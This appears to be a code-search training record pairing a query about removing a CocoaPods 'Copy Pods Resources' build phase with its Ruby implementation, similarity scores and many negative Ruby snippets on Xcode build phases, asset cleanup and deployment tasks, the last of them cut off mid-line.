[ "0.8050094", "0.7693876", "0.73843217", "0.68813026", "0.67852515", "0.66807365", "0.6571424", "0.63070256", "0.6141709", "0.6019487", "0.5993383", "0.5974492", "0.5965559", "0.58010083", "0.56748414", "0.56272906", "0.5598798", "0.5587804", "0.5576478", "0.5576071", "0.5550106", "0.552529", "0.54979575", "0.5484415", "0.54602146", "0.5412677", "0.54092026", "0.54000854", "0.539021", "0.5374363", "0.53303456", "0.5318436", "0.530556", "0.5292664", "0.5262488", "0.5248666", "0.5233716", "0.52313", "0.5224256", "0.5211599", "0.51981264", "0.5188995", "0.51534975", "0.5151329", "0.5145785", "0.5129899", "0.5127302", "0.5119129", "0.5105576", "0.5065813", "0.506178", "0.506058", "0.5053173", "0.5048721", "0.5045979", "0.50446373", "0.50375456", "0.5035889", "0.5035889", "0.503235", "0.50266397", "0.5024862", "0.5008863", "0.5008404", "0.49957988", "0.49956286", "0.4983645", "0.49785", "0.49736053", "0.49712434", "0.49589866", "0.49438915", "0.49380767", "0.4929291", "0.4929291", "0.49266493", "0.4920237", "0.4918329", "0.4913023", "0.49123925", "0.49120244", "0.49101818", "0.4909119", "0.4906016", "0.4901323", "0.489389", "0.4889483", "0.48878655", "0.48850116", "0.48832774", "0.48818815", "0.4881854", "0.48814663", "0.48809808", "0.4880353", "0.4879881", "0.48792842", "0.48723233", "0.4857714", "0.48485538" ]
0.7521419
2
Delete a 'Copy Pods Resources' script phase if present
def remove_copy_resources_script_phase_from_target(native_target) build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) } return unless build_phase.present? native_target.build_phases.delete(build_phase) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def destroy\n notice \"Removing #{@resource_copy[:path]}\"\n FileUtils.rm_rf(@resource_copy[:path])\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end", "def delete_script_files\n validate_before_delete_script_files!\n FileUtils.rm_rf root_dir if Dir.exists? root_dir\n FileUtils.rm symlink_file if File.symlink? symlink_file\n display.print \"Playwright script '#{script_name}' destroyed!\"\n end", "def clean_pod_sources\n return unless installation_options.clean?\n return if installed_specs.empty?\n pod_installers.each(&:clean!)\n end", "def delete_service_files(resource)\n file get_service_script_name(resource) do\n action :delete\n only_if { get_service_script_name != nil }\n end\nend", "def cleanup_created_resources\n # Avoid the use of any short circuiting folds.\n cleanup_commands.reverse.inject(true) { |accum, x| accum && x.cleanup }\n end", "def remove_nim_resources\n Log.log_info('In remove_nim_resources')\n @targets.each do |target|\n Log.log_debug('target=' + target)\n nim_lpp_source_resource = get_flrtvc_name(:NIM_res, target)\n exists = Nim.lpp_source_exists?(nim_lpp_source_resource)\n Log.log_debug('exists=' +\n exists.to_s)\n if exists\n Nim.remove_lpp_source(nim_lpp_source_resource)\n Log.log_debug('Removing NIM resource ' +\n nim_lpp_source_resource)\n else\n Log.log_debug('Already removed NIM resource ' +\n nim_lpp_source_resource)\n end\n end\n end", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end", "def uninstall(assets); end", "def uninstall\n pacman \"--noconfirm\", \"--noprogressbar\", \"-R\", @resource[:name]\n end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_post_deploy_resources\n if new_resource.precompile_assets\n app_local = app\n username = user_username\n ruby_block 'precompile assests' do\n block do\n require 'bundler'\n bundle_precompile_command = \"sudo su - #{username} -c 'cd #{app_local.release_path} \"\\\n \"&& source ./.env && #{app_local.bundle_binary} exec rake #{new_resource.precompile_command}'\"\n\n Bundler.clean_system(bundle_precompile_command)\n raise('Bundle pre-compile failed') unless $CHILD_STATUS.exitstatus.zero?\n end\n action :nothing\n subscribes :run, \"deploy_revision[#{new_resource.name}]\", :immediate\n end\n end\n\n super\n end", "def clean_up\n puts \"Run the following commands to clean up your test data:\"\n puts \"oc delete pv --all\"\n puts \"oc delete pvc --all\"\n puts \"Deleting temporary test files\"\n `rm -rf #{$templates_path}/*`\nend", "def action_delete\n if @current_resource.exist?\n converge_by \"Delete #{r.path}\" do\n backup unless ::File.symlink?(r.path)\n ::File.delete(r.path)\n end\n r.updated_by_last_action(true)\n load_new_resource_state\n r.exist = false\n else\n Chef::Log.debug \"#{r.path} does not exists - nothing to do\"\n end\n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/{src,lib}.{rb,c,js}') +\n Dir.glob('build/ruby2d-opal.{rb,js}') +\n Dir.glob('build/app.c')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def clean_up_csproj_resources(doc, app_dir)\n\n app_root = File.basename(app_dir)\n\n # Get all itemgroup elements that are not embedded\n non_embedded_files = XPath.match( doc, \"//ItemGroup/None\") + XPath.match( doc, \"//ItemGroup/Content\") + XPath.match( doc, \"//ItemGroup/Compile\")\n # Select the ones that are resources\n non_embedded_resources = non_embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n # Change them to embedded\n non_embedded_resources.each {|element|\n puts \"Changing #{element.name} to EmbeddedResource: #{element.attributes['Include']}\"\n element.name = 'EmbeddedResource'\n }\n\n # Get all itemgroup elements that are embedded\n embedded_files = XPath.match( doc, \"//ItemGroup/EmbeddedResource\")\n # Select the ones that are resources\n embedded_resources = embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n embedded_resources.each {|element|\n if element.delete_element('CopyToOutputDirectory')\n puts \"Removed 'CopyToOutputDirectory' for #{element.attributes['Include']}\"\n end\n }\nend", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def kill_precompiled_assets!\n dir = File.join(Rails.root, 'public', 'assets')\n FileUtils.rm_rf(dir) if Dir.exist?(dir)\nend", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/*.{rb,c,js}')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/App.app'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def cleanup\n sh 'rm -rf _site'\n compass('clean')\nend", "def uninstall\n yaourt('--noconfirm', '-R', @resource[:name])\n end", "def install_destroy\n namespace nsprefix do\n desc 'Destroy any live resources that are tracked by your state ' \\\n 'files; specify optional CSV targets'\n task :destroy, [:target] => [\n :\"#{nsprefix}:init\",\n :\"#{nsprefix}:write_tf_vars\"\n ] do |t, args|\n @before_proc.call(t.name, @tf_dir) unless @before_proc.nil?\n cmd = cmd_with_targets(\n ['terraform', 'destroy', '-force', \"-var-file #{var_file_path}\"],\n args[:target],\n args.extras\n )\n\n terraform_runner(cmd)\n @after_proc.call(t.name, @tf_dir) unless @after_proc.nil?\n end\n end\n end", "def delete_manifest\n # TODO: handle s3 case, and use URI for source_location (need to change across batch ingest gem as well)\n FileUtils.rm(@source_location, force: true)\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def before_destroy\n path = c_dir+\"#{self.code}.jpg\"\n FileUtils.rm path if File.exist? path\n end", "def unbuild(verbose=false)\n say \"Removing stale assets...\" if verbose\n\n pipeline = BPM::Pipeline.new self\n asset_root = File.join root_path, 'assets'\n pipeline.buildable_assets.each do |asset|\n next if asset.logical_path =~ /^bpm_/\n asset_path = File.join asset_root, asset.logical_path\n next unless File.exists? asset_path\n say \"~ Removing #{asset.logical_path}\" if verbose\n FileUtils.rm asset_path\n\n # cleanup empty directories\n while !File.exists?(asset_path)\n asset_path = File.dirname asset_path\n FileUtils.rmdir(asset_path) if File.directory?(asset_path)\n if verbose && !File.exists?(asset_path)\n say \"~ Removed empty directory #{File.basename asset_path}\"\n end\n end\n end\n\n say \"\\n\" if verbose\n end", "def resources\n resources = []\n resource_path =\n Pathname.new(@config.project_dir) +\n SUPPORT_FILES +\n \"Pods-#{TARGET_NAME}-resources.sh\"\n\n File.open(resource_path) { |f|\n f.each_line do |line|\n matched = line.match(/install_resource\\s+(.*)/)\n\n next unless matched\n\n path = (matched[1].strip)[1..-2]\n\n path.sub!(\n \"${BUILD_DIR}/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}\",\n \".build\"\n )\n\n next if File.extname(path) == \".framework\"\n\n resources << Pathname.new(@config.project_dir) + PODS_ROOT + path\n end\n }\n resources.uniq\n end", "def delete_resource(resource, version)\n log.debug \"deleting resource #{resource} #{version}\"\n data_file = %W(#{@datadir} #{resource} #{version} #{resource.split('/')[-1]}).join('/')\n # delete either the file or directory from data dir\n File.delete data_file if File.file? data_file\n FileUtils.rm_rf data_file if File.directory? data_file\n end", "def teardown\n FileUtils.rm_rf(\"test/resources/pac-test-repo\")\n end", "def clean_sprockets_assets\n manifest.clean(backups_to_keep)\n end", "def delete_stage_for_test stage_data\n cli.delete_stage stage_data\nrescue\nend", "def teardown\n @executor.start_section \"Vundle\"\n @executor.execute \"Removing Vim Folder\", \"rm -r #{vim_folder}\" do |output|\n raise TaskSkipped.new(\"Folder not found\") if output.include? \"No such file or directory\"\n end\n end", "def delete_file \n #pp \"deleting file_asset: path is\" + full_filepath\n File.delete(full_filepath) if File.exists?(full_filepath)\n end", "def cleanup()\n @definition.temporary_files.each do |file|\n if File.exists?(file) && File.writable?(file)\n File.delete(file)\n end\n end\n if @environment.verbose\n puts \"========== END #{@definition.name} ============\"\n end\n end", "def destroy_manuscript\n requires_user_can :edit, task\n paper.file.destroy!\n\n head :no_content\n end", "def stage_clear\n stage_safe!\n Dir['*'].each do |path|\n #p path\n FileUtils.rm_r(path)\n end\n end", "def cleanup_nontarget_files\n\n delete_dir = File.expand_path(File.join(app.build_dir, 'Resources/', 'Base.lproj/', 'assets/', 'images/'))\n\n puts_blue \"Cleaning up excess image files from target '#{options.Target}'\"\n puts_red \"Images for the following targets are being deleted from the build directory:\"\n\n (options.Targets.keys - [options.Target]).each do |target|\n\n puts_red \"#{target.to_s}\"\n Dir.glob(\"#{delete_dir}/**/#{target}-*.{jpg,png,gif}\").each do |f|\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n puts_red \"\\nImages prefixed all- are being deleted if a corresponding #{options.Target}- exists.\"\n\n Dir.glob(\"#{delete_dir}/**/all-*.{jpg,png,gif}\").each do |f|\n if File.exist?( f.sub(\"all-\", \"#{options.Target}-\") )\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n\n end", "def remove_old_package\n template_files.clear\n test_cases.clear\n self.import_job = nil\n end", "def clean\n FileUtils.rm(\"#{build_name}.json\")\n end", "def teardown\n FileUtils.rm_rf(\"test/resources/IncludesSinceTestRepository\")\n end", "def delete\n stop\n [ @resource['instances_dir'] + \"/\" + @resource[:name],\n @resource['instances_dir'] + \"/\" + \"_\" + @resource[:name]\n ].each do |dir|\n FileUtils.rm_rf(dir) if File.directory?(dir)\n end\n end", "def publishResourceRemove(app_id, run_id, resource)\n # Cache\n cache = RoomPlacesCachePublish.get_cache(app_id, run_id)\n\n cache.resources_remove([resource])\n\t#nutella.net.publish('location/resources/removed', {:resources => [resource]})\nend", "def destroy\n debug('Removing clone')\n cmd = [command(:crm), '-w', 'resource', 'stop', @resource[:name]]\n self.class.run_command_in_cib(cmd, @resource[:cib], false)\n cmd = [command(:crm), 'configure', 'delete', @resource[:name]]\n self.class.run_command_in_cib(cmd, @resource[:cib])\n @property_hash.clear\n end", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def remove_checkpoints\n `cd #{self.project_root} && rm -rf .checkpoints/environments/#{self.environment}/{nodes,prepared_nodes,steps/step-{0..3}}/#{self.hostname}.yml`\n end", "def delete(filename)\n within_source_root do\n FileUtils.mkdir_p File.dirname(filename)\n FileUtils.touch filename\n end\n \n generate { File.should_not exist(filename) }\n end", "def delete_rubocop_folder\n FileUtils.remove_dir(output_folder_name, true)\n end", "def unpin_script(script)\n devtools.runtime.evaluate(expression: script.remove)\n devtools.page.remove_script_to_evaluate_on_new_document(identifier: script.devtools_identifier)\n pinned_scripts.delete(script)\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def clean()\n rels = releases()\n rels.pop()\n\n unless rels.empty?\n rm = ['rm', '-rf'].concat(rels.map {|r| release_dir(r)})\n rm << release_dir('skip-*')\n cmd.ssh(rm)\n end\n end", "def cleanup(prefix)\n print_header \"Cleaning up ...\"\n Constants::SOFTWARE.each do |sw|\n cmd \"rm #{prefix}/#{sw}.tar.gz; rm -rf #{prefix}/#{sw}\" if File.exist? \"#{prefix}/#{sw}.tar.gz\"\n end\n end", "def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end", "def clean_environment\n `rm -rf /tmp/#{@upload_id}` # all sliced pages of the source file\n end", "def remove_existing_tool_folder\n puts \"Warning: '#{$tool_folder}' already exists. This will be removed and recreated!\"\n print \" Is this ok? (type 'yes' if so) : \"\n exit unless STDIN.readline.strip == 'yes'\n FileUtils.remove_dir($tool_folder)\n puts\nend", "def delete\n begin \n # file_assets\n file_assets.each do |file_asset|\n file_asset.delete\n end\n # We now reload the self to update that the child assets have been removed...\n reload()\n # Call ActiveFedora Deleted via super \n super()\n rescue Exception => e\n raise \"There was an error deleting the resource: \" + e.message\n end\n end", "def delete_coffeescript source_path\n if not File.exists?(File.dirname(File.expand_path(source_path, __FILE__)))\n return\n end\n \n generated_directory = File.dirname(File.expand_path(source_path, __FILE__))\n Dir.foreach(generated_directory) do |file|\n if file != generated_directory && file == '.' && file == '..'\n if File.directory?(file)\n FileUtils.rm_rf(file)\n else\n FileUtils.rm(file)\n end\n end\n end\n end", "def action_uninstall\n wh_package.run_action(:uninstall)\n grunt_package.run_action(:uninstall)\n new_resource.installed = false\n end", "def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end", "def delete_collection\n FileUtils.rm_r @src_path\n FileUtils.rm_r @store_path if store_exist?\n end", "def deleteScript(scriptName)\n clean = Builtins.filter(@merged) do |s|\n Ops.get_string(s, \"filename\", \"\") != scriptName\n end\n @merged = deep_copy(clean)\n nil\n end", "def action_remove\n app_dir = Chef::Resource::Directory.new(\"#{@current_resource.apps_dir}/#{@current_resource.app}\", run_context)\n app_dir.path(\"#{@current_resource.apps_dir}/#{@current_resource.app}\")\n app_dir.recursive(true)\n app_dir.run_action(:delete)\n new_resource.updated_by_last_action(app_dir.updated_by_last_action?)\n end", "def run \n unless @pod.nil?\n Pod::Command::Links.unlink @pod\n else\n Pod::Command::Links.unregister\n end\n end", "def cleanup_state\n delete_if_exists(state_file_path)\n delete_if_exists(chef_file_path)\n delete_if_exists(past_scripts_path)\n delete_if_exists(log_path)\n end", "def destroy\n File.delete(self.artifact)\n end", "def delete_upstart_script(type, date)\n File.delete(upstart_script_filename(type, date))\n end", "def clean\n if File.exist?(@destination)\n Monolith.formatter.clean(@cookbook, @destination)\n FileUtils.rm_rf(@destination)\n true\n else\n rel_dest = Monolith.formatter.rel_dir(@destination)\n Monolith.formatter.skip(@cookbook, \"#{rel_dest} doesn't exist\")\n nil\n end\n end", "def clean_staging\n staging_config_file = '_config.staging.yml'\n File.delete staging_config_file if File.exists? staging_config_file\nend", "def cleanup_release\n if ssh.directory_exists?(release_path)\n ssh.run(\"rm -rf #{release_path}\")\n end\n end", "def destroy_resources(operator)\n # Cnfs.logger.warn 'after undeploy', name, operator\n iterate(operator.previous_state) do |model, attrs|\n # TODO: do a diff on operator.state.resources\n binding.pry\n end\n end", "def delete_files\n #TODO delete original file\n unless filename.blank?\n File.delete(splash_file(:full_path => true)) if File.exists?(splash_file(:full_path => true))\n File.delete(flv_file(:full_path => true)) if File.exists?(flv_file(:full_path => true))\n File.delete(original_file) if File.exists?(original_file)\n end\n end", "def remove_from_project\n build_files.each(&:remove_from_project)\n super\n end", "def destroy\n @script = Script.find(params[:id])\n @script.destroy\n# delete script file\n script_name = \"script_#{@script.id}.sh\"\n File.delete(\"script/#{script_name}\")\n\n# Delete error/success logs\nerror_log = \"error_#{@script.id}.txt\"\nsuccess_log = \"success_#{@script.id}.txt\"\nlog_dir = \"#{Rails.root}/script-logs/\"\n File.delete(log_dir + error_log) unless !File.exist?(log_dir + error_log)\n File.delete(log_dir + success_log) unless !File.exist?(log_dir + success_log)\n respond_to do |format|\n format.html { redirect_to scripts_url }\n format.json { head :no_content }\n end\n end", "def delete_draft(filename)\n sh \"git rm #{filename}\" if `git ls-files #{filename}` != ''\n File.delete(filename) if File.exist?(filename)\n\n nil\nend", "def remove\n base_dir = @spec.base_dir\n\n raise Gem::FilePermissionError, base_dir unless File.writable? base_dir\n\n FileUtils.rm_rf @rdoc_dir\n FileUtils.rm_rf @ri_dir\n end", "def remove\n base_dir = @spec.base_dir\n\n raise Gem::FilePermissionError, base_dir unless File.writable? base_dir\n\n FileUtils.rm_rf @rdoc_dir\n FileUtils.rm_rf @ri_dir\n end", "def cleanup_script_execution\n FileUtils.rm_rf(InstanceConfiguration::CACHE_PATH)\n end", "def destroy\n debug('Removing resource default')\n cmd = [command(:pcs), 'resource', 'defaults', (@property_hash[:name]).to_s + '=']\n self.class.run_command_in_cib(cmd, @resource[:cib])\n @property_hash.clear\n end", "def cleanup(site, stitch)\n\n files = stitch.all_files.map{ |f| File.absolute_path(f)}\n files.concat stitch.deleted\n\n if files.size > 0\n site.static_files.clone.each do |sf|\n if sf.kind_of?(Jekyll::StaticFile) and files.include? sf.path\n site.static_files.delete(sf)\n end\n end\n end\n end", "def cleanup\n begin\n File.delete(full_filename, full_filename + \".meta\")\n rescue\n logger.warn \"Unable to delete recordings files: #{full_filename}*\"\n end\n end", "def copy_assets; end", "def cleanup_files(resource)\n remove_public_dir(resource) # where the local manifest file is stored\n remove_s3_data_files(resource)\n rescue StandardError => e\n msg = \"An unexpected error occurred when cleaning up files for resource #{resource.id}: \"\n msg << e.full_message\n logger.warn(msg)\n end", "def cleanup\n @executor.start_section \"Vundle\"\n @executor.execute_interactive \"Cleaning\", \"vim +BundleClean\\! +qall\"\n end", "def unreference_source_files\n set_reference_source_file(@encoding_job, false)\n redirect_to play_encoding_job_path(@encoding_job)\n end", "def unlink_runfile\n File.unlink(CONFIG[:run_path]) if File.exists?(CONFIG[:run_path]) and File.read(CONFIG[:run_path]).to_i == Process.pid.to_i\n end", "def delete_oldpodspec_file(podspecFile)\n\t\t\t\toldspec = old_filename()\n\t\t\t\tFile.delete(oldspec) if File.exist?(oldspec)\n\t\t\tend", "def resources_build_phase\n phase = build_phases.find { |bp| bp.class == PBXResourcesBuildPhase }\n unless phase\n phase = project.new(PBXResourcesBuildPhase)\n build_phases << phase\n end\n phase\n end", "def cleanup!\n f = pids_file_for(Loader.current_type)\n FileUtils.rm_f(f) if (pids_from(f) - Process.pid).blank?\n end", "def delete_software_image(opts)\n opts = check_params(opts,[:image_filenames])\n super(opts)\n end", "def uninstall_component\n FileUtils.remove_entry_secure destination_path if Dir.exist? destination_path\n end", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def remove(plugin); end", "def preclean_project\n # Clean-up non-useful files (if any)\n clean_msg = `make clean 2>&1`\n @log_file.puts \"\\nNettoyage du répertoire :\\n\\n#{clean_msg}\"\n \n # I want to be sure...\n FileUtils::rm_f Dir.glob(\"*.o\")\n FileUtils::rm_f Dir.glob(\"*~\")\n end", "def mina_cleanup!\n run! if commands.any?\n end", "def delete(name)\n path = 